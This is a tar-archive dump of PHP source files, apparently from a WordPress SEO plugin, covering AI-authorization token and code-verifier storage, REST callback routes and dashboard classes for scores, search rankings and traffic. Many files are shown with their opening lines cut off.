$data = $this->user_helper->get_meta( $user_id, 'yoast_wpseo_ai_generator_code_verifier_for_blog_' . \get_current_blog_id(), true );
if ( ! \is_array( $data ) || ! isset( $data['code'] ) || $data['code'] === '' ) {
throw new RuntimeException( 'Unable to retrieve the verification code.' );
}
if ( ! isset( $data['created_at'] ) || $data['created_at'] < ( $this->date_helper->current_time() - self::CODE_VERIFIER_VALIDITY ) ) {
$this->delete_code_verifier( $user_id );
throw new RuntimeException( 'Code verifier has expired.' );
}
return new Code_Verifier( $data['code'], $data['created_at'] );
}
/**
* Delete the verification code for a user.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function delete_code_verifier( int $user_id ): void {
$this->user_helper->delete_meta( $user_id, 'yoast_wpseo_ai_generator_code_verifier_for_blog_' . \get_current_blog_id() );
}
}
ai-authorization/infrastructure/token-user-meta-repository-interface.php 0000644 00000001312 15207625741 0023025 0 ustar 00 user_helper = $user_helper;
}
/**
* Get the token for a user.
*
* @param int $user_id The user ID.
*
* @return string The token data.
*
* @throws RuntimeException If the token is not found or invalid.
*/
public function get_token( int $user_id ): string {
$refresh_jwt = $this->user_helper->get_meta( $user_id, self::META_KEY, true );
if ( ! \is_string( $refresh_jwt ) || $refresh_jwt === '' ) {
throw new RuntimeException( 'Unable to retrieve the refresh token.' );
}
return $refresh_jwt;
}
/**
* Store the token for a user.
*
* @param int $user_id The user ID.
* @param string $value The token value.
*
* @return void
*/
public function store_token( int $user_id, string $value ): void {
$this->user_helper->update_meta(
$user_id,
self::META_KEY,
$value,
); }
/**
* Delete the token for a user.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function delete_token( int $user_id ): void {
$this->user_helper->delete_meta( $user_id, self::META_KEY );
}
}
ai-authorization/infrastructure/access-token-user-meta-repository.php 0000644 00000003146 15207625741 0022335 0 ustar 00 user_helper = $user_helper;
}
/**
* Get the token for a user.
*
* @param int $user_id The user ID.
*
* @return string The token data.
*
* @throws RuntimeException If the token is not found or invalid.
*/
public function get_token( int $user_id ): string {
$access_jwt = $this->user_helper->get_meta( $user_id, self::META_KEY, true );
if ( ! \is_string( $access_jwt ) || $access_jwt === '' ) {
throw new RuntimeException( 'Unable to retrieve the access token.' );
}
return $access_jwt;
}
/**
* Store the token for a user.
*
* @param int $user_id The user ID.
* @param string $value The token value.
*
* @return void
*/
public function store_token( int $user_id, string $value ): void {
$this->user_helper->update_meta(
$user_id,
self::META_KEY,
$value,
); }
/**
* Delete the token for a user.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function delete_token( int $user_id ): void {
$this->user_helper->delete_meta( $user_id, self::META_KEY );
}
}
ai-authorization/infrastructure/refresh-token-user-meta-repository-interface.php 0000644 00000000566 15207625741 0024473 0 ustar 00 The conditionals.
*/
public static function get_conditionals() {
return [ AI_Conditional::class ];
}
/**
* Callback_Route constructor.
*
* @param Access_Token_User_Meta_Repository_Interface $access_token_repository The access token repository instance.
* @param Refresh_Token_User_Meta_Repository_Interface $refresh_token_repository The refresh token repository instance.
* @param Code_Verifier_User_Meta_Repository_Interface $code_verifier_repository The code verifier instance.
*/
public function __construct( Access_Token_User_Meta_Repository_Interface $access_token_repository, Refresh_Token_User_Meta_Repository_Interface $refresh_token_repository, Code_Verifier_User_Meta_Repository_Interface $code_verifier_repository ) {
$this->access_token_repository = $access_token_repository;
$this->refresh_token_repository = $refresh_token_repository;
$this->code_verifier_repository = $code_verifier_repository;
}
// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.
/**
* Runs the callback to store connection credentials and the tokens locally.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The response of the callback action.
*
* @throws Unauthorized_Exception If the code challenge is not valid.
* @throws RuntimeException If the verification code is not found.
*/
public function callback( WP_REST_Request $request ): WP_REST_Response {
$user_id = $request->get_param( 'user_id' );
try {
$code_verifier = $this->code_verifier_repository->get_code_verifier( $user_id );
if ( $request->get_param( 'code_challenge' ) !== \hash( 'sha256', $code_verifier->get_code() ) ) {
throw new Unauthorized_Exception( 'Unauthorized' );
}
$this->access_token_repository->store_token( $user_id, $request->get_param( 'access_jwt' ) );
$this->refresh_token_repository->store_token( $user_id, $request->get_param( 'refresh_jwt' ) );
$this->code_verifier_repository->delete_code_verifier( $user_id );
} catch ( Unauthorized_Exception | RuntimeException $e ) {
return new WP_REST_Response( 'Unauthorized.', 401 );
}
return new WP_REST_Response(
[
'message' => 'Tokens successfully stored.',
'code_verifier' => $code_verifier->get_code(),
],
);
}
// phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.
}
ai-authorization/user-interface/callback-route.php 0000644 00000003062 15207625741 0016362 0 ustar 00 'POST',
'args' => [
'access_jwt' => [
'required' => true,
'type' => 'string',
'description' => 'The access JWT.',
],
'refresh_jwt' => [
'required' => true,
'type' => 'string',
'description' => 'The JWT to be used when the access JWT needs to be refreshed.',
],
'code_challenge' => [
'required' => true,
'type' => 'string',
'description' => 'The SHA266 of the verification code used to check the authenticity of a callback call.',
],
'user_id' => [
'required' => true,
'type' => 'integer',
'description' => 'The id of the user associated to the code verifier.',
],
],
'callback' => [ $this, 'callback' ],
'permission_callback' => '__return_true',
],
);
}
}
ai-authorization/user-interface/refresh-callback-route.php 0000644 00000003102 15207625742 0020012 0 ustar 00 'POST',
'args' => [
'access_jwt' => [
'required' => true,
'type' => 'string',
'description' => 'The access JWT.',
],
'refresh_jwt' => [
'required' => true,
'type' => 'string',
'description' => 'The JWT to be used when the access JWT needs to be refreshed.',
],
'code_challenge' => [
'required' => true,
'type' => 'string',
'description' => 'The SHA266 of the verification code used to check the authenticity of a callback call.',
],
'user_id' => [
'required' => true,
'type' => 'integer',
'description' => 'The id of the user associated to the code verifier.',
],
],
'callback' => [ $this, 'callback' ],
'permission_callback' => '__return_true',
],
);
}
}
dashboard/domain/score-results/score-result.php 0000644 00000003065 15207625742 0015732 0 ustar 00 current_scores_list = $current_scores_list;
$this->query_time = $query_time;
$this->is_cached_used = $is_cached_used;
}
/**
* Return this object represented by a key value array.
*
* @return array>>|float|bool> Returns the name and if the feature is enabled.
*/
public function to_array(): array {
return [
'scores' => $this->current_scores_list->to_array(),
'queryTime' => $this->query_time,
'cacheUsed' => $this->is_cached_used,
];
}
}
dashboard/domain/score-results/current-score.php 0000644 00000004104 15207625742 0016071 0 ustar 00 |null
*/
private $links;
/**
* The constructor.
*
* @param string $name The name of the current score.
* @param int $amount The amount of the current score.
* @param string|null $ids The ids of the current score.
* @param array|null $links The links of the current score.
*/
public function __construct( string $name, int $amount, ?string $ids = null, ?array $links = null ) {
$this->name = $name;
$this->amount = $amount;
$this->ids = $ids;
$this->links = $links;
}
/**
* Gets name of the current score.
*
* @return string The name of the current score.
*/
public function get_name(): string {
return $this->name;
}
/**
* Gets the amount of the current score.
*
* @return int The amount of the current score.
*/
public function get_amount(): int {
return $this->amount;
}
/**
* Gets the ids of the current score.
*
* @return string|null The ids of the current score.
*/
public function get_ids(): ?string {
return $this->ids;
}
/**
* Gets the links of the current score in the expected key value representation.
*
* @return array The links of the current score in the expected key value representation.
*/
public function get_links_to_array(): ?array {
$links = [];
if ( $this->links === null ) {
return $links;
}
foreach ( $this->links as $key => $link ) {
if ( $link === null ) {
continue;
}
$links[ $key ] = $link;
}
return $links;
}
}
dashboard/domain/score-results/current-scores-list.php 0000644 00000002536 15207625742 0017234 0 ustar 00 current_scores[ $position ] = $current_score;
}
/**
* Parses the current score list to the expected key value representation.
*
* @return array>> The score list presented as the expected key value representation.
*/
public function to_array(): array {
$array = [];
\ksort( $this->current_scores );
foreach ( $this->current_scores as $key => $current_score ) {
$array[] = [
'name' => $current_score->get_name(),
'amount' => $current_score->get_amount(),
'links' => $current_score->get_links_to_array(),
];
if ( $current_score->get_ids() !== null ) {
$array[ $key ]['ids'] = $current_score->get_ids();
}
}
return $array;
}
}
dashboard/domain/score-results/score-results-not-found-exception.php 0000644 00000000664 15207625742 0022022 0 ustar 00
*/
private $content_types = [];
/**
* Adds a content type to the list.
*
* @param Content_Type $content_type The content type to add.
*
* @return void
*/
public function add( Content_Type $content_type ): void {
$this->content_types[ $content_type->get_name() ] = $content_type;
}
/**
* Returns the content types in the list.
*
* @return array The content types in the list.
*/
public function get(): array {
return $this->content_types;
}
/**
* Parses the content type list to the expected key value representation.
*
* @return array>>>> The content type list presented as the expected key value representation.
*/
public function to_array(): array {
$array = [];
foreach ( $this->content_types as $content_type ) {
$array[] = [
'name' => $content_type->get_name(),
'label' => $content_type->get_label(),
'taxonomy' => ( $content_type->get_taxonomy() ) ? $content_type->get_taxonomy()->to_array() : null,
];
}
return $array;
}
}
dashboard/domain/content-types/content-type.php 0000644 00000003365 15207625745 0015744 0 ustar 00 name = $name;
$this->label = $label;
$this->taxonomy = $taxonomy;
}
/**
* Gets name of the content type.
*
* @return string The name of the content type.
*/
public function get_name(): string {
return $this->name;
}
/**
* Gets label of the content type.
*
* @return string The label of the content type.
*/
public function get_label(): string {
return $this->label;
}
/**
* Gets the taxonomy that filters the content type.
*
* @return Taxonomy|null The taxonomy that filters the content type.
*/
public function get_taxonomy(): ?Taxonomy {
return $this->taxonomy;
}
/**
* Sets the taxonomy that filters the content type.
*
* @param Taxonomy|null $taxonomy The taxonomy that filters the content type.
*
* @return void
*/
public function set_taxonomy( ?Taxonomy $taxonomy ): void {
$this->taxonomy = $taxonomy;
}
}
dashboard/domain/endpoint/endpoint-list.php 0000644 00000001502 15207625745 0015077 0 ustar 00
*/
private $endpoints = [];
/**
* Adds an endpoint to the list.
*
* @param Endpoint_Interface $endpoint An endpoint.
*
* @return void
*/
public function add_endpoint( Endpoint_Interface $endpoint ): void {
$this->endpoints[] = $endpoint;
}
/**
* Converts the list to an array.
*
* @return array The array of endpoints.
*/
public function to_array(): array {
$result = [];
foreach ( $this->endpoints as $endpoint ) {
$result[ $endpoint->get_name() ] = $endpoint->get_url();
}
return $result;
}
}
dashboard/domain/endpoint/endpoint-interface.php 0000644 00000001057 15207625745 0016071 0 ustar 00 search_ranking_data = $search_ranking_data;
$this->seo_score_group = $seo_score_group;
$this->edit_link = $edit_link;
}
/**
* The array representation of this domain object.
*
* @return array
*/
public function to_array(): array {
$top_page_data = $this->search_ranking_data->to_array();
$top_page_data['seoScore'] = $this->seo_score_group->get_name();
$top_page_data['links'] = [];
if ( $this->edit_link !== null ) {
$top_page_data['links']['edit'] = $this->edit_link;
}
return $top_page_data;
}
}
dashboard/domain/search-rankings/comparison-search-ranking-data.php 0000644 00000005154 15207625746 0021530 0 ustar 00 current_search_ranking_data, $current_search_ranking_data );
}
/**
* Sets the previous search ranking data.
*
* @param Search_Ranking_Data $previous_search_ranking_data The previous search ranking data.
*
* @return void
*/
public function add_previous_traffic_data( Search_Ranking_Data $previous_search_ranking_data ): void {
\array_push( $this->previous_search_ranking_data, $previous_search_ranking_data );
}
/**
* The array representation of this domain object.
*
* @return array>
*/
public function to_array(): array {
return [
'current' => $this->parse_data( $this->current_search_ranking_data ),
'previous' => $this->parse_data( $this->previous_search_ranking_data ),
];
}
/**
* Parses search ranking data into the expected format.
*
* @param Search_Ranking_Data[] $search_ranking_data The search ranking data to be parsed.
*
* @return array The parsed data
*/
private function parse_data( array $search_ranking_data ): array {
$parsed_data = [
'total_clicks' => 0,
'total_impressions' => 0,
];
$weighted_postion = 0;
foreach ( $search_ranking_data as $search_ranking ) {
$parsed_data['total_clicks'] += $search_ranking->get_clicks();
$parsed_data['total_impressions'] += $search_ranking->get_impressions();
$weighted_postion += ( $search_ranking->get_position() * $search_ranking->get_impressions() );
}
if ( $parsed_data['total_impressions'] !== 0 ) {
$parsed_data['average_ctr'] = ( $parsed_data['total_clicks'] / $parsed_data['total_impressions'] );
$parsed_data['average_position'] = ( $weighted_postion / $parsed_data['total_impressions'] );
}
return $parsed_data;
}
}
dashboard/domain/search-rankings/search-ranking-data.php 0000644 00000004676 15207625746 0017370 0 ustar 00 clicks = $clicks;
$this->ctr = $ctr;
$this->impressions = $impressions;
$this->position = $position;
$this->subject = $subject;
}
/**
* The array representation of this domain object.
*
* @return array
*/
public function to_array(): array {
return [
'clicks' => $this->clicks,
'ctr' => $this->ctr,
'impressions' => $this->impressions,
'position' => $this->position,
'subject' => $this->subject,
];
}
/**
* Gets the clicks.
*
* @return string The clicks.
*/
public function get_clicks(): string {
return $this->clicks;
}
/**
* Gets the click-through rate.
*
* @return string The click-through rate.
*/
public function get_ctr(): string {
return $this->ctr;
}
/**
* Gets the impressions.
*
* @return string The impressions.
*/
public function get_impressions(): string {
return $this->impressions;
}
/**
* Gets the position.
*
* @return string The position.
*/
public function get_position(): string {
return $this->position;
}
/**
* Gets the subject.
*
* @return string The subject.
*/
public function get_subject(): string {
return $this->subject;
}
}
dashboard/domain/taxonomies/taxonomy.php 0000644 00000002523 15207625746 0014537 0 ustar 00 name = $name;
$this->label = $label;
$this->rest_url = $rest_url;
}
/**
* Returns the name of the taxonomy.
*
* @return string The name of the taxonomy.
*/
public function get_name(): string {
return $this->name;
}
/**
* Parses the taxonomy to the expected key value representation.
*
* @return array> The taxonomy presented as the expected key value representation.
*/
public function to_array(): array {
return [
'name' => $this->name,
'label' => $this->label,
'links' => [
'search' => $this->rest_url,
],
];
}
}
dashboard/domain/search-console/failed-request-exception.php 0000644 00000001225 15207625746 0020304 0 ustar 00
*/
public function to_array(): array;
}
dashboard/domain/data-provider/parameters.php 0000644 00000004744 15207625746 0015406 0 ustar 00 start_date;
}
/**
* Getter for the end date.
* The date format should be Y-M-D.
*
* @return string
*/
public function get_end_date(): string {
return $this->end_date;
}
/**
* Getter for the result limit.
*
* @return int
*/
public function get_limit(): int {
return $this->limit;
}
/**
* Getter for the compare start date.
*
* @return string
*/
public function get_compare_start_date(): ?string {
return $this->compare_start_date;
}
/**
* Getter for the compare end date.
* The date format should be Y-M-D.
*
* @return string
*/
public function get_compare_end_date(): ?string {
return $this->compare_end_date;
}
/**
* The start date setter.
*
* @param string $start_date The start date.
*
* @return void
*/
public function set_start_date( string $start_date ): void {
$this->start_date = $start_date;
}
/**
* The end date setter.
*
* @param string $end_date The end date.
*
* @return void
*/
public function set_end_date( string $end_date ): void {
$this->end_date = $end_date;
}
/**
* The result limit.
*
* @param int $limit The result limit.
* @return void
*/
public function set_limit( int $limit ): void {
$this->limit = $limit;
}
/**
* The compare start date setter.
*
* @param string $compare_start_date The compare start date.
*
* @return void
*/
public function set_compare_start_date( string $compare_start_date ): void {
$this->compare_start_date = $compare_start_date;
}
/**
* The compare end date setter.
*
* @param string $compare_end_date The compare end date.
*
* @return void
*/
public function set_compare_end_date( string $compare_end_date ): void {
$this->compare_end_date = $compare_end_date;
}
}
dashboard/domain/data-provider/data-container.php 0000644 00000002046 15207625746 0016125 0 ustar 00
*/
private $data_container;
/**
* The constructor
*/
public function __construct() {
$this->data_container = [];
}
/**
* Method to add data.
*
* @param Data_Interface $data The data.
*
* @return void
*/
public function add_data( Data_Interface $data ) {
$this->data_container[] = $data;
}
/**
* Method to get all the data points.
*
* @return Data_Interface[] All the data points.
*/
public function get_data(): array {
return $this->data_container;
}
/**
* Converts the data points into an array.
*
* @return array The array of the data points.
*/
public function to_array(): array {
$result = [];
foreach ( $this->data_container as $data ) {
$result[] = $data->to_array();
}
return $result;
}
}
dashboard/domain/data-provider/dashboard-repository-interface.php 0000644 00000001034 15207625747 0021333 0 ustar 00 current_traffic_data = $current_traffic_data;
$this->previous_traffic_data = $previous_traffic_data;
}
/**
* Sets the current traffic data.
*
* @param Traffic_Data $current_traffic_data The current traffic data.
*
* @return void
*/
public function set_current_traffic_data( Traffic_Data $current_traffic_data ): void {
$this->current_traffic_data = $current_traffic_data;
}
/**
* Sets the previous traffic data.
*
* @param Traffic_Data $previous_traffic_data The previous traffic data.
*
* @return void
*/
public function set_previous_traffic_data( Traffic_Data $previous_traffic_data ): void {
$this->previous_traffic_data = $previous_traffic_data;
}
/**
* The array representation of this domain object.
*
* @return array
*/
public function to_array(): array {
return [
'current' => $this->current_traffic_data->to_array(),
'previous' => $this->previous_traffic_data->to_array(),
];
}
}
dashboard/domain/traffic/traffic-data.php 0000644 00000002332 15207625747 0014435 0 ustar 00
*/
public function to_array(): array {
$result = [];
if ( $this->sessions !== null ) {
$result['sessions'] = $this->sessions;
}
if ( $this->total_users !== null ) {
$result['total_users'] = $this->total_users;
}
return $result;
}
/**
* Sets the sessions.
*
* @param int $sessions The sessions.
*
* @return void
*/
public function set_sessions( int $sessions ): void {
$this->sessions = $sessions;
}
/**
* Sets the total users.
*
* @param int $total_users The total users.
*
* @return void
*/
public function set_total_users( int $total_users ): void {
$this->total_users = $total_users;
}
}
dashboard/domain/traffic/daily-traffic-data.php 0000644 00000002203 15207625747 0015532 0 ustar 00 date = $date;
$this->traffic_data = $traffic_data;
}
/**
* The array representation of this domain object.
*
* @return array
*/
public function to_array(): array {
$result = [];
$result['date'] = $this->date;
return \array_merge( $result, $this->traffic_data->to_array() );
}
}
dashboard/domain/time-based-seo-metrics/repository-not-found-exception.php 0000644 00000000715 15207625747 0023061 0 ustar 00 setup_steps_tracking_repository = $setup_steps_tracking_repository;
}
/**
* If the Site Kit setup widget has been loaded.
*
* @return string "yes" on "no".
*/
public function get_setup_widget_loaded(): string {
return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'setup_widget_loaded' );
}
/**
* Gets the stage of the first interaction.
*
* @return string The stage name.
*/
public function get_first_interaction_stage(): string {
return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'first_interaction_stage' );
}
/**
* Gets the stage of the last interaction.
*
* @return string The stage name.
*/
public function get_last_interaction_stage(): string {
return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'last_interaction_stage' );
}
/**
* If the setup widget has been temporarily dismissed.
*
* @return string "yes" on "no".
*/
public function get_setup_widget_temporarily_dismissed(): string {
return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'setup_widget_temporarily_dismissed' );
}
/**
* If the setup widget has been permanently dismissed.
*
* @return string "yes" on "no".
*/
public function get_setup_widget_permanently_dismissed(): string {
return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'setup_widget_permanently_dismissed' );
}
/**
* Return this object represented by a key value array.
*
* @return array The tracking data
*/
public function to_array(): array {
return [
'setupWidgetLoaded' => $this->get_setup_widget_loaded(),
'firstInteractionStage' => $this->get_first_interaction_stage(),
'lastInteractionStage' => $this->get_last_interaction_stage(),
'setupWidgetTemporarilyDismissed' => $this->get_setup_widget_temporarily_dismissed(),
'setupWidgetPermanentlyDismissed' => $this->get_setup_widget_permanently_dismissed(),
];
}
}
dashboard/application/score-results/seo-score-results/seo-score-results-repository.php 0000644 00000002212 15207625747 0025546 0 ustar 00 score_results_collector = $seo_score_results_collector;
$this->score_groups = $seo_score_groups;
}
}
dashboard/application/score-results/abstract-score-results-repository.php 0000644 00000005272 15207625747 0023176 0 ustar 00 current_scores_repository = $current_scores_repository;
}
/**
* Returns the score results for a content type.
*
* @param Content_Type $content_type The content type.
* @param Taxonomy|null $taxonomy The taxonomy of the term we're filtering for.
* @param int|null $term_id The ID of the term we're filtering for.
* @param bool|null $is_troubleshooting Whether we're in troubleshooting mode.
*
* @return array>> The scores.
*
* @throws Exception When getting score results from the infrastructure fails.
*/
public function get_score_results( Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id, ?bool $is_troubleshooting ): array {
$score_results = $this->score_results_collector->get_score_results( $this->score_groups, $content_type, $term_id, $is_troubleshooting );
if ( $is_troubleshooting === true ) {
$score_results['score_ids'] = clone $score_results['scores'];
foreach ( $score_results['scores'] as &$score ) {
$score = ( $score !== null ) ? \count( \explode( ',', $score ) ) : 0;
}
}
$current_scores_list = $this->current_scores_repository->get_current_scores( $this->score_groups, $score_results, $content_type, $taxonomy, $term_id );
$score_result_object = new Score_Result( $current_scores_list, $score_results['query_time'], $score_results['cache_used'] );
return $score_result_object->to_array();
}
}
dashboard/application/score-results/current-scores-repository.php 0000644 00000006224 15207625747 0021537 0 ustar 00 score_group_link_collector = $score_group_link_collector;
}
/**
* Returns the current results.
*
* @param Score_Groups_Interface[] $score_groups The score groups.
* @param array $score_results The score results.
* @param Content_Type $content_type The content type.
* @param Taxonomy|null $taxonomy The taxonomy of the term we're filtering for.
* @param int|null $term_id The ID of the term we're filtering for.
*
* @return array>> The current results.
*/
public function get_current_scores( array $score_groups, array $score_results, Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id ): Current_Scores_List {
$current_scores_list = new Current_Scores_List();
foreach ( $score_groups as $score_group ) {
$score_name = $score_group->get_name();
$current_score_links = $this->get_current_score_links( $score_group, $content_type, $taxonomy, $term_id );
$score_amount = (int) $score_results['scores']->$score_name;
$score_ids = ( isset( $score_results['score_ids'] ) ) ? $score_results['score_ids']->$score_name : null;
$current_score = new Current_Score( $score_name, $score_amount, $score_ids, $current_score_links );
$current_scores_list->add( $current_score, $score_group->get_position() );
}
return $current_scores_list;
}
/**
* Returns the links for the current scores of a score group.
*
* @param Score_Groups_Interface $score_group The scoure group.
* @param Content_Type $content_type The content type.
* @param Taxonomy|null $taxonomy The taxonomy of the term we're filtering for.
* @param int|null $term_id The ID of the term we're filtering for.
*
* @return array The current score links.
*/
protected function get_current_score_links( Score_Groups_Interface $score_group, Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id ): array {
return [
'view' => $this->score_group_link_collector->get_view_link( $score_group, $content_type, $taxonomy, $term_id ),
];
}
}
application/score-results/readability-score-results/readability-score-results-repository.php 0000644 00000002442 15207625751 0030675 0 ustar 00 dashboard score_results_collector = $readability_score_results_collector;
$this->score_groups = $readability_score_groups;
}
}
dashboard/application/endpoints/endpoints-repository.php 0000644 00000001726 15207625751 0017752 0 ustar 00
*/
private $endpoints;
/**
* Constructs the repository.
*
* @param Endpoint_Interface ...$endpoints The endpoints to add to the repository.
*/
public function __construct( Endpoint_Interface ...$endpoints ) {
$this->endpoints = $endpoints;
}
/**
* Creates a list with all endpoints.
*
* @return Endpoint_List The list with all endpoints.
*/
public function get_all_endpoints(): Endpoint_List {
$list = new Endpoint_List();
foreach ( $this->endpoints as $endpoint ) {
$list->add_endpoint( $endpoint );
}
return $list;
}
}
dashboard/application/configuration/dashboard-configuration.php 0000644 00000012770 15207625751 0021173 0 ustar 00 content_types_repository = $content_types_repository;
$this->indexable_helper = $indexable_helper;
$this->user_helper = $user_helper;
$this->enabled_analysis_features_repository = $enabled_analysis_features_repository;
$this->endpoints_repository = $endpoints_repository;
$this->nonce_repository = $nonce_repository;
$this->site_kit_integration_data = $site_kit_integration_data;
$this->setup_steps_tracking = $setup_steps_tracking;
$this->browser_cache_configuration = $browser_cache_configuration;
}
/**
* Returns a configuration
*
* @return array|array>>>
*/
public function get_configuration(): array {
$configuration = [
'contentTypes' => $this->content_types_repository->get_content_types(),
'indexablesEnabled' => $this->indexable_helper->should_index_indexables(),
'displayName' => $this->user_helper->get_current_user_display_name(),
'enabledAnalysisFeatures' => $this->enabled_analysis_features_repository->get_features_by_keys(
[
Readability_Analysis::NAME,
Keyphrase_Analysis::NAME,
],
)->to_array(),
'endpoints' => $this->endpoints_repository->get_all_endpoints()->to_array(),
'nonce' => $this->nonce_repository->get_rest_nonce(),
'setupStepsTracking' => $this->setup_steps_tracking->to_array(),
];
$site_kit_integration_data = $this->site_kit_integration_data->to_array();
if ( ! empty( $site_kit_integration_data ) ) {
$configuration['siteKitConfiguration'] = $site_kit_integration_data;
}
$browser_cache_configuration = $this->browser_cache_configuration->get_configuration();
if ( ! empty( $browser_cache_configuration ) ) {
$configuration['browserCache'] = $browser_cache_configuration;
}
return $configuration;
}
}
dashboard/application/score-groups/seo-score-groups/seo-score-groups-repository.php 0000644 00000003050 15207625752 0025015 0 ustar 00 seo_score_groups = $seo_score_groups;
}
/**
* Returns the SEO score group that a SEO score belongs to.
*
* @param int $seo_score The SEO score to be assigned into a group.
*
* @return SEO_Score_Groups_Interface The SEO score group that the SEO score belongs to.
*/
public function get_seo_score_group( ?int $seo_score ): SEO_Score_Groups_Interface {
if ( $seo_score === null || $seo_score === 0 ) {
return new No_SEO_Score_Group();
}
foreach ( $this->seo_score_groups as $seo_score_group ) {
if ( $seo_score_group->get_max_score() === null ) {
continue;
}
if ( $seo_score >= $seo_score_group->get_min_score() && $seo_score <= $seo_score_group->get_max_score() ) {
return $seo_score_group;
}
}
return new No_SEO_Score_Group();
}
}
dashboard/application/content-types/content-types-repository.php 0000644 00000003132 15207625752 0021366 0 ustar 00 content_types_collector = $content_types_collector;
$this->taxonomies_repository = $taxonomies_repository;
}
/**
* Returns the content types array.
*
* @return array>>>> The content types array.
*/
public function get_content_types(): array {
$content_types_list = $this->content_types_collector->get_content_types();
foreach ( $content_types_list->get() as $content_type ) {
$content_type_taxonomy = $this->taxonomies_repository->get_content_type_taxonomy( $content_type->get_name() );
$content_type->set_taxonomy( $content_type_taxonomy );
}
return $content_types_list->to_array();
}
}
dashboard/application/search-rankings/top-query-repository.php 0000644 00000004014 15207625752 0020762 0 ustar 00 site_kit_search_console_adapter = $site_kit_search_console_adapter;
$this->site_kit_configuration = $site_kit_configuration;
}
/**
* Gets the top queries' data.
*
* @param Parameters $parameters The parameter to use for getting the top queries.
*
* @return Data_Container
*
* @throws Data_Source_Not_Available_Exception When this repository is used without the needed prerequisites ready.
*/
public function get_data( Parameters $parameters ): Data_Container {
if ( ! $this->site_kit_configuration->is_onboarded() ) {
throw new Data_Source_Not_Available_Exception( 'Top queries repository' );
}
return $this->site_kit_search_console_adapter->get_data( $parameters );
}
}
dashboard/application/search-rankings/search-ranking-compare-repository.php 0000644 00000004130 15207625752 0023334 0 ustar 00 site_kit_search_console_adapter = $site_kit_search_console_adapter;
$this->site_kit_configuration = $site_kit_configuration;
}
/**
* Gets the comparing search ranking data.
*
* @param Parameters $parameters The parameter to use for getting the comparing search ranking data.
*
* @return Data_Container
*
* @throws Data_Source_Not_Available_Exception When getting the comparing search ranking data fails.
*/
public function get_data( Parameters $parameters ): Data_Container {
if ( ! $this->site_kit_configuration->is_onboarded() ) {
throw new Data_Source_Not_Available_Exception( 'Comparison search ranking repository' );
}
return $this->site_kit_search_console_adapter->get_comparison_data( $parameters );
}
}
dashboard/application/search-rankings/top-page-repository.php 0000644 00000005174 15207625752 0020541 0 ustar 00 site_kit_search_console_adapter = $site_kit_search_console_adapter;
$this->top_page_indexable_collector = $top_page_indexable_collector;
$this->site_kit_configuration = $site_kit_configuration;
}
/**
* Gets the top pages' data.
*
* @param Parameters $parameters The parameter to use for getting the top pages.
*
* @return Data_Container
*
* @throws Data_Source_Not_Available_Exception When this repository is used without the needed prerequisites ready.
*/
public function get_data( Parameters $parameters ): Data_Container {
if ( ! $this->site_kit_configuration->is_onboarded() ) {
throw new Data_Source_Not_Available_Exception( 'Top page repository' );
}
$top_pages_search_ranking_data = $this->site_kit_search_console_adapter->get_data( $parameters );
$top_pages_full_data = $this->top_page_indexable_collector->get_data( $top_pages_search_ranking_data );
return $top_pages_full_data;
}
}
dashboard/application/taxonomies/taxonomies-repository.php 0000644 00000003727 15207625752 0020324 0 ustar 00 taxonomies_collector = $taxonomies_collector;
$this->filter_pairs_repository = $filter_pairs_repository;
}
/**
* Returns the object of the filtering taxonomy of a content type.
*
* @param string $content_type The content type that the taxonomy filters.
*
* @return Taxonomy|null The filtering taxonomy of the content type.
*/
public function get_content_type_taxonomy( string $content_type ) {
// First we check if there's a filter that overrides the filtering taxonomy for this content type.
$taxonomy = $this->taxonomies_collector->get_custom_filtering_taxonomy( $content_type );
if ( $taxonomy ) {
return $taxonomy;
}
// Then we check if there is a filter explicitly made for this content type.
$taxonomy = $this->filter_pairs_repository->get_taxonomy( $content_type );
if ( $taxonomy ) {
return $taxonomy;
}
// If everything else returned empty, we can always try the fallback taxonomy.
return $this->taxonomies_collector->get_fallback_taxonomy( $content_type );
}
}
dashboard/application/filter-pairs/filter-pairs-repository.php 0000644 00000003053 15207625752 0020742 0 ustar 00 taxonomies_collector = $taxonomies_collector;
$this->filter_pairs = $filter_pairs;
}
/**
* Returns a taxonomy based on a content type, by looking into hardcoded filter pairs.
*
* @param string $content_type The content type.
*
* @return Taxonomy|null The taxonomy filter.
*/
public function get_taxonomy( string $content_type ): ?Taxonomy {
foreach ( $this->filter_pairs as $filter_pair ) {
if ( $filter_pair->get_filtered_content_type() === $content_type ) {
return $this->taxonomies_collector->get_taxonomy( $filter_pair->get_filtering_taxonomy(), $content_type );
}
}
return null;
}
}
dashboard/application/traffic/organic-sessions-daily-repository.php 0000644 00000004123 15207625752 0021743 0 ustar 00 site_kit_analytics_4_adapter = $site_kit_analytics_4_adapter;
$this->site_kit_configuration = $site_kit_configuration;
}
/**
* Gets daily organic sessions' data.
*
* @param Parameters $parameters The parameter to use for getting the daily organic sessions' data.
*
* @return Data_Container
*
* @throws Data_Source_Not_Available_Exception When this repository is used without the needed prerequisites ready.
*/
public function get_data( Parameters $parameters ): Data_Container {
if ( ! $this->site_kit_configuration->is_onboarded() || ! $this->site_kit_configuration->is_ga_connected() ) {
throw new Data_Source_Not_Available_Exception( 'Daily organic sessions repository' );
}
return $this->site_kit_analytics_4_adapter->get_daily_data( $parameters );
}
}
dashboard/application/traffic/organic-sessions-compare-repository.php 0000644 00000004143 15207625752 0022271 0 ustar 00 site_kit_analytics_4_adapter = $site_kit_analytics_4_adapter;
$this->site_kit_configuration = $site_kit_configuration;
}
/**
* Gets comparison organic sessions' data.
*
* @param Parameters $parameters The parameter to use for getting the comparison organic sessions' data.
*
* @return Data_Container
*
* @throws Data_Source_Not_Available_Exception When getting the comparison organic sessions' data fails.
*/
